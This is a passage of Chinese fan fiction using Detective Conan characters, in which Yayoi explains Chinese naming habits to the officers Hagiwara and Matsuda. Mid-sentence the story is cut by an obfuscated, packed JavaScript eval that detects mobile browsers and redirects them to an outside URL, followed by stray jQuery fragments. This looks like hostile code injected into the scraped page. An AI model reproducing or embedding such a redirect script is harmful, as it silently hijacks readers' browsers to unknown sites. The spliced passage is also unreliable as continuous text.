挺大差别。”
“而我生活在华国时间远远超过在日本的时间,所以我身上有着很多华国的习惯,认识阿雪后我就习惯叫阿雪了。”
“他们几个也基本是被我带偏的,所以他们也就习惯叫我阿弥而不是弥生了。”
萩原研二:“原来是中日习惯的差别啊,这种昵称还挺有意思的呢。”
弥生:“是啊,我第一次到日本时就发现,在日本只有很亲近的人才能叫名字。”
“就像几位警官中,只有萩原警官会叫松田警官阵平,而其他人只是叫松田,所以两位警官真的关系很好呢。”
“但在华国广泛都会叫名字,因为华国人名字很短,姓氏也基本都是单字。”
“比如我的中文名字中文叫法就是姜弥生,没有日语那么长。”
“尤其是很多华国人名字更是只有两个字,所以人们不会单独称呼朋友姓氏,大家在认识后就会直接叫名字。”
“关系更好一点就会起各种各
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769081|157804||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
样昵称,像芽衣他们叫我阿弥,我在华国的同学们除了叫我阿弥外,也会叫我弥弥……”
“姜弥生,是这样吗?”
弥生顿时僵住,声音戛然而止,像是被突然按下静音键,心脏也瞬间停跳了一拍。
她慢慢转头看向身旁的卷发警官,松田阵平也被弥生突然的目光弄得有发毛,不敢对视那幽深的目光,抓了抓后脑勺:
“我……我叫错了吗?抱歉,在日本称呼全名是很不礼貌的行为,但我刚才听你说以为在华国称呼全名很普遍呢,所以也就这么叫了……”
萩原研二刚刚也被自己幼驯染突然的叫全名给吓到了,见弥生不说话,连忙道:
“抱歉神原医生,我们不知道在华国也不能叫全名,阵平绝没有冒犯的意思。”
弥生从刚才的全名中回过神来,收回了目光:“……没有冒犯,你刚才念得音也很对。”
“其实在华国的确会挺普遍的称呼全名,所以松田警官这么叫也并不算冒犯……”
弥生转过头,不知为何呼吸略微有点乱,定了定心跳开口道:“对了,我刚才说到哪了?”
“聊到为什么不让你留在日本。”松田阵平不爽道:“真是又差点被神原医生扯开话题了啊。”
很好,呼吸瞬间不乱了。
弥生语气无奈:“松田警官为何如此执着?”
松田阵平也开始暴躁:“神原医生怎么就这么犟!真是让人受不了。”
弥生十分心累:“知道这件事对松田警官没有任何好处吧?”
松田阵平:“谁让我多管闲事呢,而且告诉我这件事对你没有任何坏处吧。”
弥生一愣,忍不住弯了弯嘴角:“真是记仇的松田警官,我刚才随口一说的话现在还念叨着。”
一旁看着俩人有来有往的萩原研二,笑着揶揄:
“神原医生要是